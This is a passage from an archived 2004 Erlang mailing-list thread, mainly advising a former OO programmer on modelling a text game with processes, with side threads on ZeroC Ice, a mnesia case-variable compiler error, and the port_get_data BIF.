likely be modeled by the game as being inside a container in the room, which itself is also a container. It's pretty much the most basic stuff, and given your hints above, I figure that each player (person) would be a process. The rooms, however.. a single resource process of some kind, that would keep track of the game geography and how to navigate it? > If you are stuck on objects, make a process for every object. You > will run into some problems, but you may feel comfortable. Nah, I'm trying to learn something new in the process. Feeling comfortable isn't my highest priority ;) Johan From johan@REDACTED Mon Aug 9 21:26:00 2004 From: johan@REDACTED (Johan Warlander) Date: Mon, 9 Aug 2004 21:26:00 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <4117990B.2090809@duomark.com> References: <4117990B.2090809@duomark.com> Message-ID: <20040809192600.M72441@snowflake.nu> On Mon, 09 Aug 2004 08:32:27 -0700, Jay Nelson wrote > I just finished writing an article for the Snowbird ICFP workshop on > erlang entitled "Structured Programming Using Processes". Look for > it when the conference comes out or check my website in November. Will certainly do :) > The basic premise in the paper is to think of data flows and > processes rather than OO. In OO an object is stored and represented > in a single place with all the code that can access the data. In > erlang, messages are sent from process to process so data can be > stored in whatever format is best for each process. You may neeed > to keep things in a database, so you can have one table per object > type, or coerce all to fit in a single table with some extra > columns. A process could read the currently relevant ones in as a > list and dole them out to other processes for manipulation. User > commands can be received, transformed and routed to the process > holding the object in question. I haven't even started looking at database handling etc.. I take it Mnesia would be the way to go? However, I definitely think I'd go for a table per object type. Here's where I run into the OO ghost again, though.. Given two different objects, a chair and a backpack, they have some traits in common (in the OO world I'd have them inherit from CONTAINER).. but > > For your gaming problem you need to decide what must be done > concurrently and what must be done sequentially. Everything else > can go either way. If you have a process for each person or monster > (animate entities), internal to the process can be their possessions > which they can give to another process in exchange for something > else. The same can happen with traits. I think I have a vague idea of what you're getting at :) I'm also realising that it's probably not entirely useful to try to think of things in terms of what I would've done in an OO language.. Either way, would you be able to give me some pointers on where to start implementing a simple scenario like the one below, in a process-oriented way? 1) The world consists of simple rooms with a textual description, linked together in the four cardinal directions. 2) Players can walk around between these rooms, and will see the room descriptions as well as other players in the same room. 3) Players can communicate with others in the same room by talking. 4) Any entity, not just player characters, should be able to receive communication messages in the form of talking or acting.. This becomes important for allowing non-player characters to act on what players do later on, and also enchanted items might be activated by certain actions or words etc.* * Not to mention going further with containers, when you want to model in-game vehicles etc - someone sitting in a wagon pulled by a horse, in a particular room, would most likely be modeled by the game as being inside a container in the room, which itself is also a container. It's pretty much the most basic stuff, and given your hints above, I figure that each player (person) would be a process. The rooms, however.. a single resource process of some kind, that would keep track of the game geography and how to navigate it? > If you are stuck on objects, make a process for every object. You > will run into some problems, but you may feel comfortable. Nah, I'm trying to learn something new in the process. Feeling comfortable isn't my highest priority ;) Johan From johan@REDACTED Mon Aug 9 21:38:21 2004 From: johan@REDACTED (Johan Warlander) Date: Mon, 9 Aug 2004 21:38:21 +0200 Subject: Erlang hints for an OO junkie? In-Reply-To: <5CB74B38-EA32-11D8-BCA7-000393AF7F82@bjoernknafla.de> References: <20040809135640.M42433@snowflake.nu> <5CB74B38-EA32-11D8-BCA7-000393AF7F82@bjoernknafla.de> Message-ID: <20040809193047.M61402@snowflake.nu> On Mon, 9 Aug 2004 20:31:43 +0200, Bjoern Knafla wrote > All of this is very vague and far from a turn-key advice - but I > haven't used Erlang or another functional language for something > more than simple algorithms and am therefore also seeking for the > best way of unleashing their power. A fellow soul in search of answers :) Thank you for the input though, there were a few things in there that I hadn't thought about at all. > PS: By the way: professional game developers seem to dislike using > grand scale inheritance for modelling entity behavior. For example: > using inheritance languages like C++ make it very hard to change the > behavior of an instance at runtime or to use data driven design to > describe the behavior of entities. If in your example a sword > should also get attributes for dealing fire damage and giving you > mana back you would need more and more base classes which makes your > code more and more inflexible and hard to maintain because to add a > capability to an entity or classes of entities you always need to > inherit and then to add code and debug possible problems (method > name conflicts etc). Aggregating attributes by "has a" relationships > allow easy run-time changes of behavior and late additions or even > changes by users > (modding) - though this is only a bit I have read while lurking on > game dev lists and am missing real experience to backup that bold > statement ;-) *grin* I have quite a few years of experience in developing text-based online games, and what I realise as I look back is that most of that time was spent learning how NOT to do it ;) But yes, if you develop a game in a language like C++ I can see the advantages of "has a" relationships; I've mostly found though that for my own purposes, going as low-level and/or static as C or C++ is just a waste of my time - I've done most of my recent work with LPC, which is a pretty dynamic, interpreted language making it easy to change anything in runtime. However, I'm really enjoying learning Erlang for it's concurrency and error handling / fault tolerance aspects.. It would be great to be able to make something with it :) Johan From johan@REDACTED Mon Aug 9 23:19:28 2004 From: johan@REDACTED (Johan Warlander) Date: Mon, 9 Aug 2004 23:19:28 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <20040809192600.M72441@snowflake.nu> References: <4117990B.2090809@duomark.com> <20040809192600.M72441@snowflake.nu> Message-ID: <20040809211538.M16170@snowflake.nu> On Mon, 9 Aug 2004 21:26:00 +0200, Johan Warlander wrote > > The basic premise in the paper is to think of data flows and > > processes rather than OO. In OO an object is stored and represented > > in a single place with all the code that can access the data. In > > erlang, messages are sent from process to process so data can be > > stored in whatever format is best for each process. You may neeed > > to keep things in a database, so you can have one table per object > > type, or coerce all to fit in a single table with some extra > > columns. A process could read the currently relevant ones in as a > > list and dole them out to other processes for manipulation. User > > commands can be received, transformed and routed to the process > > holding the object in question. > > I haven't even started looking at database handling etc.. I take it Mnesia > would be the way to go? However, I definitely think I'd go for a > table per object type. Here's where I run into the OO ghost again, > though.. Given two different objects, a chair and a backpack, they > have some traits in common (in the OO world I'd have them inherit > from CONTAINER).. but ..but they might also have some data that is unique to each object, and some ways of using one that would work different or not at all with the other. I've not yet wrapped my mind around how to do proper data and code re-use in Erlang. Johan From jay@REDACTED Tue Aug 10 06:35:32 2004 From: jay@REDACTED (Jay Nelson) Date: Mon, 09 Aug 2004 21:35:32 -0700 Subject: Erlang hints for an OO junkie In-Reply-To: <20040809171635.M65995@snowflake.nu> References: <4117990B.2090809@duomark.com> <20040809171635.M65995@snowflake.nu> Message-ID: <41185094.7040502@duomark.com> Johan Warlander wrote: >different objects, a chair and a backpack, they have some traits in common (in >the OO world I'd have them inherit from CONTAINER).. but > > Avoid inheritance if you can. Why do you think you need it? Re: containers -- processes are one of the best containers available. They have a unique name, can be found by the operating system or vm so you don't need to write access code, they contain only those things passed as arguments in the server loop and they send things to another container (process). Writing the paper helped me discover that this is probably the most important aspect of a process, providing an isolatable container of computation -- the second being that it serializes all requests, so it is very good at maintaining a particular state. That is why FSMs are so sweet in erlang. I find concurrency useful, but one of the less important characteristics of processes. >Either way, would you be able to give me some pointers on where to start >implementing a simple scenario like the one below, in a process-oriented way? > >1) The world consists of simple rooms with a textual description, linked >together in the four cardinal directions. > >2) Players can walk around between these rooms, and will see the room >descriptions as well as other players in the same room. > >3) Players can communicate with others in the same room by talking. > > At this point you have a choice as to processes: people or rooms. Everyone says make the concurrent or animate things processes, so the obvious choice is people, right? Well... rooms are linked more or less permanently in a certain fashion, people aren't. How would you connect people, and for how long? People talk to each other but does that cause them to change state? Maybe, but not usually. But people carry weapons and other objects and give them to others. In that sense they are containers of things, and they also happen to be containers of attributes and characteristics and skills. Rooms are fundamentally really good containers. Things move in and out of them; objects can be rearranged inside them. Moving in or out, or picking up or leaving something changes the state of the room as well as the person. But the primary mechanism of the game is for people to move from room to room. I would start with a geographic map of rooms, and create a single process per room with interconnections only between adjacent rooms. The people and objects in the room would be maintained in some sort of tree or list and passed as the state variable of the room. A message to enter or leave would cause a person to be added to or removed from the state, with a confirmation for entering or a removal from the list for leaving (after sending an enter to the destination room process). People could be records or processes. Processes would let you send messages like pick up object, set down object, etc. Either way the people themselves could be sent as a message from one room to another. Start with this and forget the rest of the game. See how far it takes you, and what code looks like for moving around. I would just start with rooms and people moving from room to room and seeing who else is present. If you make a room a process, with a list of people processes in it as the state variable of a looping server, I think you'll find the code is trivial (hint: look at the package lists for things like member). Once you can do that, then grapple with what it means for one person to talk to another. It will be the fundamental problem of your entire program. If you are hung up on having the program model the real world accurately, you will never solve the problem of people talking to one another. The rest should be straight forward. jay From johan@REDACTED Tue Aug 10 09:08:28 2004 From: johan@REDACTED (Johan Warlander) Date: Tue, 10 Aug 2004 09:08:28 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <41185094.7040502@duomark.com> References: <4117990B.2090809@duomark.com> <20040809171635.M65995@snowflake.nu> <41185094.7040502@duomark.com> Message-ID: <20040810065126.M63999@snowflake.nu> On Mon, 09 Aug 2004 21:35:32 -0700, Jay Nelson wrote > Avoid inheritance if you can. Why do you think you need it? Hmm.. I'm trying to figure that out myself. I think I'll just go ahead as below, and see what happens -- if I still think I need inheritance for some particular issue, I'll try to have someone convince me there's a better way to solve my concern ;) > Re: containers -- processes are one of the best containers > available. They have a unique name, can be found by the operating > system or vm so you don't need to write access code, they contain > only those things passed as arguments in the server loop and they > send things to another container (process). Writing the paper > helped me discover that this is probably the most important aspect > of a process, providing an isolatable container of computation -- > the second being that it serializes all requests, so it is very > good at maintaining a particular state. That is why FSMs are so > sweet in erlang. I find concurrency useful, but one of the less > important characteristics of processes. > > >Either way, would you be able to give me some pointers on where to start > >implementing a simple scenario like the one below, in a process-oriented way? > > > >1) The world consists of simple rooms with a textual description, linked > >together in the four cardinal directions. > > > >2) Players can walk around between these rooms, and will see the room > >descriptions as well as other players in the same room. > > > >3) Players can communicate with others in the same room by talking. > > > > > At this point you have a choice as to processes: people or rooms. > Everyone says make the concurrent or animate things processes, so > the obvious choice is people, right? Well... rooms are linked more > or less permanently in a certain fashion, people aren't. How would > you connect people, and for how long? People talk to each other but > does that cause them to change state? Maybe, but not usually. But > people carry weapons and other objects and give them to others. In > that sense they are containers of things, and they also happen to be > containers of attributes and characteristics and skills. > > Rooms are fundamentally really good containers. Things move in and > out of them; objects can be rearranged inside them. Moving in or > out, or picking up or leaving something changes the state of the > room as well as the person. But the primary mechanism of the game > is for people to move from room to room. I would start with a > geographic map of rooms, and create a single process per room with > interconnections only between adjacent rooms. The people and > objects in the room would be maintained in some sort of tree or list > and passed as the state variable of the room. A message to enter or > leave would cause a person to be added to or removed from the state, > with a confirmation for entering or a removal from the list for > leaving (after sending an enter to the destination room process). > > People could be records or processes. Processes would let you send > messages like pick up object, set down object, etc. Either way the > people themselves could be sent as a message from one room to another. > > Start with this and forget the rest of the game. See how far it > takes you, and what code looks like for moving around. I would just > start with rooms and people moving from room to room and seeing who > else is present. If you make a room a process, with a list of > people processes in it as the state variable of a looping server, I > think you'll find the code is trivial (hint: look at the package > lists for things like member). Once you can do that, then grapple > with what it means for one person to talk to another. It will be > the fundamental problem of your entire program. If you are hung up > on having the program model the real world accurately, you will > never solve the problem of people talking to one another. The rest > should be straight forward. Okay, I'm starting to look at this in a completely different way than when I set out to do this.. Thanks! I'll play around with the ideas you've given me and see what it comes to. As you say, just starting out with rooms, people and communication will probably help me understand and evolve a model for how to do this, without getting too complex too fast. On a sidenote, while I know I probably shouldn't be thinking about this quite yet, where would I start running into performance problems as far as concurrent processes go? Looking forward (pretty far), there'd probably be a stage at which I'd have a few thousand rooms (1k - 5k perhaps), a similar amount of computer-generated creatures with highly varying degrees of complexity in their behaviour patterns, 20-70 concurrent players (pretty few, but probably resource intensive) and several processes to govern things like weather, time of day, etc. All in all, perhaps upwards of 10 000 processes.. where most of them, admittedly, would have very low resource utilisation. Of course, strictly speaking inanimate items might also end up being modeled as processes.. and if so that number could rise to 15 000 in the above scenario. Thanks for all your help so far :) Johan From vlad_dumitrescu@REDACTED Tue Aug 10 09:15:16 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Tue, 10 Aug 2004 09:15:16 +0200 Subject: Erlang hints for an OO junkie References: <4117990B.2090809@duomark.com> <20040809192600.M72441@snowflake.nu> <20040809211538.M16170@snowflake.nu> Message-ID: From: "Johan Warlander" > ..but they might also have some data that is unique to each object, and some > ways of using one that would work different or not at all with the other. I've > not yet wrapped my mind around how to do proper data and code re-use in Erlang. You might also want to check out this Corrado Santoro's Exat, at http://www.diit.unict.it/users/csanto/exat/index.html. It has a nice implementation of something that might become "objective erlang". I believe you will learn a lot more from trying to do it "the clean Erlang way". For me it was a wonderful revelation when I finally managed to snap out of the OO mindset. Not that it's wrong, but it's not an universal solution either. regards, Vlad From joe@REDACTED Tue Aug 10 09:55:55 2004 From: joe@REDACTED (Joe Armstrong) Date: Tue, 10 Aug 2004 09:55:55 +0200 (CEST) Subject: Zero C In-Reply-To: References: , Message-ID: On Mon, 9 Aug 2004, Michael Williams wrote: > In article , > mike@REDACTED (Michael Williams) writes: > |> In article , > |> enewhuis@REDACTED (Eric Newhuis) writes: > |> |> http://zeroc.com/ > |> |> > |> |> Comments? > |> |> > |> > |> Site is not reachable? > |> > |> /m > > I had a quick look at the Ice. > > If you want to program Erlang type applications in Java or C++, this might > be a good framework to use. I.e. distributed concurrent systems. > > But it would help you to avoid a lot of the inherent > problems in C++ such as pointer errors, memory leaks etc. As well as that > as Ice threads are in no way memory protected from each other, the Erlang/OTP > style to make distributed fault tolerant systems is not applicable. > But if you are sourcing a lot of ready made C++ or Java software, > Ice could well be the way to go. > I think not. > > Ice is probably what Corba would have been if it hadn't been designed by > a comittee.... > Yes indeed. The problem with Ice is that it appears to be just "a better version of CORBA" << the word "just" here is not meant to be derogatory - since Ice represents a *massive* amount of work >> I think that both Corba and Ice (and for that matter virtually *all* the IDL based systems make the *same* fundamental error) - they abstract away from the actual messages which are seen on the communications channels and replace these by function calls and APIs which essentially hide RPCs. Q: Why is this bad? A: Because it turns a simple problem into a horribly difficult problem. Let me give a simple example. Lets suppose I want to make an "FTP like service" - here is a *simple* way to do this. First we specify a the protocol. list => [string()] {get, string()} => {yes, bin()} | {error,NoSuchFile} The notation A => B means "If you send me a message A I promise to return a B" - X | Y means X or Y. What is string()? (its a string silly) guess - the filename - right! and bin() -- the content of the file So here's an imaginary telnet session to my imaginary FTP server telnet some_server 1244 Connected to jenny.sics.se. Escape character is '^]'. list. ["/home/joe/abc", "/home/joe/dir/a1", ....] {get, "/home/joe/dir/a1"}. {yes, <<23,45,12,34.. >>} That was easy wasn't it? If we *expose*the underlying protocol (ie tell people what it is) then it become *really easy* to write clients/servers in any old language that you feel like (even in Java :-) - but if you *hide* the details of the protocol and provide a stub-compiler and loads of tools then things can quickly become a nightmare of complexity. The Ice hello world example is needs 16 pages of dense text to describe it. This is a server which sends you a "hello world" message. In my way of thinking the example needs a *one line* specification. ping => "Hello world" (You send me a ping atom, I'll sent you back a constant "Hello world" string) Implementing this in any language (apart from Intercal) is easy. << aside - In my FTP example I said list => [string()] In UBF I would have said. list => files() and files() = [file()] file() = string() The idea being to name types in an intuitive manner, for details read http://www.sics.se/~joe/ubf/site/quick.html >> /cheers Joe > /mike > From thomasl_erlang@REDACTED Tue Aug 10 10:12:43 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Tue, 10 Aug 2004 01:12:43 -0700 (PDT) Subject: Erlang hints for an OO junkie In-Reply-To: <20040810065126.M63999@snowflake.nu> Message-ID: <20040810081243.26425.qmail@web41907.mail.yahoo.com> --- Johan Warlander wrote: > where would I start running into performance > problems as far as > concurrent processes go? My rules of thumb (possibly obsolete) are these: - one Erlang VM (node) can have about 200,000 processes - one freshly started process uses about 1 KB Using objects-as-processes and ubiquitous message passing, a la method invocation in OO, _might_ become a performance problem. Erlang is asynchronous, so if A sends a message to B, some effort is needed to context switch from A to B, and some time may pass before B is scheduled to handle the message. (Clever implementations may get rid of some overhead, but it's probably good to be aware of the issue.) If you want something OO-like for code organization, have a look at Erlang's "behaviours". They work in the same spirit as Java's "interfaces". I would also suggest taking a look at "abstract data types", if you haven't already. Best, Thomas __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From johan@REDACTED Tue Aug 10 10:23:16 2004 From: johan@REDACTED (Johan Warlander) Date: Tue, 10 Aug 2004 10:23:16 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: References: <4117990B.2090809@duomark.com> <20040809192600.M72441@snowflake.nu> <20040809211538.M16170@snowflake.nu> Message-ID: <20040810081753.M25234@snowflake.nu> On Tue, 10 Aug 2004 09:15:16 +0200, Vlad Dumitrescu wrote > I believe you will learn a lot more from trying to do it "the clean > Erlang way". For me it was a wonderful revelation when I finally > managed to snap out of the OO mindset. Not that it's wrong, but it's > not an universal solution either. Agreed; that's what I'm looking for, first and foremost - to learn what the Erlang way is :) Nonetheless, I had a brief look at one of the presentations on the site you pointed me to, and it seems very interesting if you were to actually use an OO approach in Erlang. As you say, there's no universal solution, so I guess the option is always interesting to have. Thanks, Johan From johan@REDACTED Tue Aug 10 11:20:36 2004 From: johan@REDACTED (Johan Warlander) Date: Tue, 10 Aug 2004 11:20:36 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <20040810081243.26425.qmail@web41907.mail.yahoo.com> References: <20040810065126.M63999@snowflake.nu> <20040810081243.26425.qmail@web41907.mail.yahoo.com> Message-ID: <20040810090928.M1410@snowflake.nu> On Tue, 10 Aug 2004 01:12:43 -0700 (PDT), Thomas Lindgren wrote > My rules of thumb (possibly obsolete) are these: > - one Erlang VM (node) can have about 200,000 > processes > - one freshly started process uses about 1 KB Well, that was a bit better than I would've imagined :) If those numbers are obsolete, I would guess performance has changed for the better rather than worse. > Using objects-as-processes and ubiquitous message > passing, a la method invocation in OO, _might_ become > a performance problem. Erlang is asynchronous, so if A > sends a message to B, some effort is needed to context > switch from A to B, and some time may pass before B is > scheduled to handle the message. (Clever > implementations may get rid of some overhead, but it's > probably good to be aware of the issue.) Right, though I suspect messages will not be sent at all as frequently as I'd be calling methods in an OO approach - rather I imagine that one message would be preceded by some work on the sending side, and generate some work on the receiving side, instead of sending a big burst of messages back and forth.. I've been browsing Ulf Wikstr?m's "Design Patterns for Simulations in Erlang/OTP" and that currently leads me to believe that most messages will be actual events.. though exactly how I don't know yet, I'll need to start exploring the problem more thoroughly first I think :) > If you want something OO-like for code organization, > have a look at Erlang's "behaviours". They work in the > same spirit as Java's "interfaces". I would also > suggest taking a look at "abstract data types", if you > haven't already. I've been glancing at behaviours, so we'll see what happens.. I'm trying to avoid OO-like just for the sake of being like OO, though. If I end up leaning towards OO-like organisation for aspects of the program, I hope it'll be because I've become well aquainted with most of the common solutions available in Erlang, and decided that the OO-like solution is the most appropriate for the task. Johan From dietmar@REDACTED Tue Aug 10 14:15:05 2004 From: dietmar@REDACTED (Dietmar =?ISO-8859-1?Q?Sch=E4fer?=) Date: Tue, 10 Aug 2004 14:15:05 +0200 Subject: multiple case ... of ... Message-ID: <1092140104.17064.1.camel@wks2.4dp.dfs.de> Hi ! Is there anybody out ther who can tell me how to do things like this: create_table() -> case mnesia:create_table(fourd_mib_variables, [{snmp, [{key, string}]}, %% o.k. ?? {attributes, record_info(fields, fourd_mib_variables)}, {disc_copies, [nodes()]}]) of {atomic, ok} -> io:format("table fourd_mib_variables could be created"), ok; {aborted,Reason} -> io:format("creation of database failed reason.~n ~w",[Reason]), Reason end, case mnesia:create_table(command_table, [{snmp, [{key, string}]}, %% ist das so o.k. ?? {attributes, record_info(fields, command_table)}, {disc_copies, [nodes()]}]) of {atomic, ok} -> io:format("table command_table could be created"), ok; {aborted,Reason} -> io:format("creation of database command_table failed reason.~n ~w",[Reason]), Reason end. the compiler tells me : src/cmmc_foc.erl:38: variable 'Reason' unsafe in 'case' (line 24) error Best Regards ! Dietmar From richardc@REDACTED Tue Aug 10 14:23:54 2004 From: richardc@REDACTED (Richard Carlsson) Date: Tue, 10 Aug 2004 14:23:54 +0200 (MEST) Subject: multiple case ... of ... In-Reply-To: <1092140104.17064.1.camel@wks2.4dp.dfs.de> References: <1092140104.17064.1.camel@wks2.4dp.dfs.de> Message-ID: On Tue, 10 Aug 2004, Dietmar Sch?fer wrote: > Hi ! > > Is there anybody out ther who can tell me how to do things > like this: You just need another name for the second Reason (e.g. Reason1). Variables bound in the first case-expression are exported, and can be used later - but only if they are bound in all the clauses, otherwise they are "unsafe", which is a compile time error. So the Reason in the second case-expression wants to use the above binding since it is not a new variable. But the existing binding is unsafe. Either put the two cases in different functions, so they are not in the same scope, or rename the second Reason. /Richard > create_table() -> > case mnesia:create_table(fourd_mib_variables, [{snmp, [{key, > string}]}, %% o.k. ?? > {attributes, record_info(fields, fourd_mib_variables)}, > {disc_copies, [nodes()]}]) of > {atomic, ok} -> io:format("table fourd_mib_variables could > be created"), > ok; > {aborted,Reason} -> io:format("creation of database failed > reason.~n ~w",[Reason]), > Reason > end, > > > case mnesia:create_table(command_table, [{snmp, [{key, > string}]}, %% ist das so o.k. ?? > {attributes, record_info(fields, command_table)}, > {disc_copies, [nodes()]}]) of > {atomic, ok} -> io:format("table command_table could be > created"), > ok; > {aborted,Reason} -> io:format("creation of database > command_table failed reason.~n ~w",[Reason]), > Reason > end. > > > > the compiler tells me : > > src/cmmc_foc.erl:38: variable 'Reason' unsafe in 'case' (line 24) > error > > > Best Regards ! > > > Dietmar > > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ "Having users is like optimization: the wise course is to delay it." -- Paul Graham From bengt.kleberg@REDACTED Tue Aug 10 14:27:35 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Tue, 10 Aug 2004 14:27:35 +0200 Subject: multiple case ... of ... In-Reply-To: <1092140104.17064.1.camel@wks2.4dp.dfs.de> References: <1092140104.17064.1.camel@wks2.4dp.dfs.de> Message-ID: <4118BF37.1040805@ericsson.com> Dietmar Sch?fer wrote: > Hi ! > > Is there anybody out ther who can tell me how to do things > like this: is it ok if i first ask you why you are doing what you are doing? the first case ... of ... does not need the return values (ok and Reason) since they are not used. it would be sufficient to only have io:format() there. bengt > create_table() -> > case mnesia:create_table(fourd_mib_variables, [{snmp, [{key, > string}]}, %% o.k. ?? > {attributes, record_info(fields, fourd_mib_variables)}, > {disc_copies, [nodes()]}]) of > {atomic, ok} -> io:format("table fourd_mib_variables could > be created"), > ok; > {aborted,Reason} -> io:format("creation of database failed > reason.~n ~w",[Reason]), > Reason > end, > > > case mnesia:create_table(command_table, [{snmp, [{key, > string}]}, %% ist das so o.k. ?? > {attributes, record_info(fields, command_table)}, > {disc_copies, [nodes()]}]) of > {atomic, ok} -> io:format("table command_table could be > created"), > ok; > {aborted,Reason} -> io:format("creation of database > command_table failed reason.~n ~w",[Reason]), > Reason > end. > From vlad@REDACTED Tue Aug 10 15:33:59 2004 From: vlad@REDACTED (Vlad Balin) Date: Tue, 10 Aug 2004 17:33:59 +0400 Subject: Erlang hints for an OO junkie In-Reply-To: <20040810081243.26425.qmail@web41907.mail.yahoo.com> Message-ID: >> where would I start running into performance >> problems as far as >> concurrent processes go? > My rules of thumb (possibly obsolete) are these: > - one Erlang VM (node) can have about 200,000 > processes > - one freshly started process uses about 1 KB Exactly. This is one of the reasons why processes cannot be used as objects. > Using objects-as-processes and ubiquitous message > passing, a la method invocation in OO, _might_ become > a performance problem. Erlang is asynchronous, so if A > sends a message to B, some effort is needed to context > switch from A to B, and some time may pass before B is > scheduled to handle the message. (Clever > implementations may get rid of some overhead, but it's > probably good to be aware of the issue.) There's an another problem. Erlang is functional language, where destructive updates and other side effects are not desirable things. If you will use processes as a unit of incapsulation (think of it as object) you will introduce destructive updates, and loose the benefits of Erlang as functional language. I'm going to demonstrate it. Process is "object", with a message loop dispatching "messages", like in a Smalltalk. Something like this: loop( State ) -> receive { Caller, MethodName, Params } -> { Result, NewState } = apply( className, MethodName, [ State | Params ] ), Caller ! Result, object( State ) end. And you may want to call "methods" like this: invoke( Object, Method, Params ) -> Object ! { self(), Method, Params }, receive Result -> Result. And you're using the process ID as a reference to the "object". Cool. Your objects has state, you may pass objects as a parameters and do other familiar things. But look here, what would be the often seen in your code: method( State, Object1 ) -> { AggregatedObject, _, _ } = State, { invoke( AggregatedObject, doDestructiveUpdate, [ Object1 ] ), State }. Miracle! State of the caller has _not_ been changed when we have updated its part. An innocent message sending side effect has been grown in evil destructive update. If you going to use it your design as a leading principle, the better idea would be to use Smalltalk instead, not to emulate it in Erlang. So what is wrong here? Processes should _not _ be widely used as unit of incapsulation, or you will not take benefit of referential transparency. And if you do so, you would better use non-functional language. From david.nospam.hopwood@REDACTED Tue Aug 10 18:01:32 2004 From: david.nospam.hopwood@REDACTED (David Hopwood) Date: Tue, 10 Aug 2004 17:01:32 +0100 Subject: Zero C In-Reply-To: References: , Message-ID: <4118F15C.8020200@blueyonder.co.uk> Joe Armstrong wrote: > [...] The idea being to name types in an intuitive manner, for details read > http://www.sics.se/~joe/ubf/site/quick.html UBF seems quite similar to several other formats that attempt to map more closely to programming language data models than XML does, and that were designed at least partly as reactions against XML's complexity -- for example - Waterken doc (http://www.waterken.com/dev/Doc/) - YAML (http://www.yaml.org/) It would be useful to consider to what extent they can be unified. -- David Hopwood From vlad@REDACTED Tue Aug 10 18:34:19 2004 From: vlad@REDACTED (Vlad Balin) Date: Tue, 10 Aug 2004 20:34:19 +0400 Subject: Erlang hints for an OO junkie In-Reply-To: Message-ID: >> So what is wrong here? Processes should _not _ be widely used as unit of >> incapsulation, or you will not take benefit of referential transparency. And >> if you do so, >> you would better use non-functional language. > You forgot to suggest what the OP should use in place of processes. He > seems genuinely interested in what the 'right' way to do things is. I'm > interested in the results of the discussion too, it's educational as I > haven't been using Erlang very long myself. > Thankyou > -- > David N. Welton I'm sorry. This questions should better be addressed to the functional programming gurus, however I will add my 10 cents too. As in normal languages, the first thing we could use in design should probably be an incapsulation, or so called "abstract data types". Types, which are defined by the operations in them rather than their structure. For example, consider queue implementation from the standard library. It has not obvious (at least for imperative programmer) data structure, similar to Okasaki's queue (pair of two lists). Module queue exposes queue constructor (new), and all of necessary operations (in, out, etc). #So we can create the queue Queue = queue:new(), #put in some elements Q1 = queue:in( Element1, Queue ), Q2 = queue:in( Element2, Q1 ), #and pass it as a parameter doSomething( Q2 ). It's just fine, we succeed, we have a "class" queue defined now, with a number of "methods". But here is one problem remains. Suppose we have defined another implementation of queue with a same interface. How would we define a generic function working with both implementation then? Problem is that we supposed not to have derect access to the data structure of the abstract data type, so we need operations to be _polymorphic_. An answer is that we should pass the module name ("class name") to this function in a some way... Queue = anotherQueue:new(), generic_function( anotherQueue, Queue ). ...and use it as a prefix for queue "methods" in function implementation. To make it looking more "cool" (more close to the "classic" OO style) we could include module ID in data structure. Let's suppose that object in a top level is always a tuple, and the first element always contains the module name. Than we could invoke "methods" like this: invoke( Object, Method, Params ) -> apply( getelement( 0, Object ), Method, [ Object | Params ] ). I think you got an idea. I believe that people who have an experience of development in Erlang could suggest more effective and elegant approaches. Vlad Balin From vlad@REDACTED Tue Aug 10 19:03:17 2004 From: vlad@REDACTED (Vlad Balin) Date: Tue, 10 Aug 2004 21:03:17 +0400 Subject: Erlang hints for an OO junkie In-Reply-To: Message-ID: > invoke( Object, Method, Params ) -> > apply( getelement( 0, Object ), Method, [ Object | Params ] ). > I think you got an idea. I believe that people who have an experience of development > in Erlang could suggest more effective and elegant approaches. like this, for example ;) class( Object ) -> element( 0, Object ). generic_function( Object ) -> Class = class( Object ), Class:callMethod( Object ). Hope have not made mistakes now :) Vlad Balin From erlang@REDACTED Tue Aug 10 19:31:30 2004 From: erlang@REDACTED (Inswitch Solutions - Erlang Evaluation) Date: Tue, 10 Aug 2004 14:31:30 -0300 Subject: port_get_data Erlang module function not found Message-ID: <04e401c47eff$eca541b0$1e00a8c0@design> Module inet_db has the following function used by gen_tcp:send/2 : lookup_socket(Socket) when port(Socket) -> case catch erlang:port_get_data(Socket) of Module when atom(Module) -> {ok, Module}; _ -> {error, closed} end. - could someone tell me what does bif port_get_data/1 do? - where can I find a description of all erlang BIF? Thanks, Eduardo Figoli -------------- next part -------------- An HTML attachment was scrubbed... URL: From bengt.kleberg@REDACTED Tue Aug 10 19:52:45 2004 From: bengt.kleberg@REDACTED (Bengt Kleberg) Date: Tue, 10 Aug 2004 19:52:45 +0200 Subject: port_get_data Erlang module function not found In-Reply-To: <04e401c47eff$eca541b0$1e00a8c0@design> References: <04e401c47eff$eca541b0$1e00a8c0@design> Message-ID: <41190B6D.2020904@ericsson.com> Inswitch Solutions - Erlang Evaluation wrote: ...deleted > - could someone tell me what does bif port_get_data/1 do? it does not seem to be documented? > - where can I find a description of all erlang BIF? simplest way to find anything in any erlang module: the Erlang manual index at matthias website: http://www.corelatus.com/~matthias/modules.html bif's are in the module ''erlang''. bengt From carsten@REDACTED Tue Aug 10 20:03:02 2004 From: carsten@REDACTED (Carsten Schultz) Date: Tue, 10 Aug 2004 20:03:02 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: References: Message-ID: <20040810180302.GE23102@penne.localnet> Hi! On Tue, Aug 10, 2004 at 08:34:19PM +0400, Vlad Balin wrote: > It's just fine, we succeed, we have a "class" queue defined now, > with a number of "methods". But here is one problem remains. > Suppose we have defined another implementation of queue with a same > interface. How would we define a generic function working with both > implementation then? > Problem is that we supposed not to have derect access to the data structure > of the abstract data type, so we need operations to be _polymorphic_. [solution snipped] I am not advocating this in any way, but you could also use a style like in the appended module, if you really have to. Greetings, Carsten -- Carsten Schultz (2:38, 33:47), FB Mathematik, FU Berlin http://carsten.codimi.de/ PGP/GPG key on the pgp.net key servers, fingerprint on my home page. -------------- next part -------------- -module(queue). -export([empty_list_queue/0,empty_okasaki_queue/0, is_empty/1,in/2,out/1]). list_empty() -> []. list_is_empty([]) -> true; list_is_empty([_|_]) -> false. list_in(X, L) -> [X|L]. list_out(L) -> [H|T] = lists:reverse(L), {H, lists:reverse(T)}. okasaki_empty() -> {[], []}. okasaki_is_empty({[], []}) -> true; okasaki_is_empty(_) -> false. okasaki_in(X, {In, Out}) -> {[X|In], Out}. okasaki_out({In, [X|Out]})-> 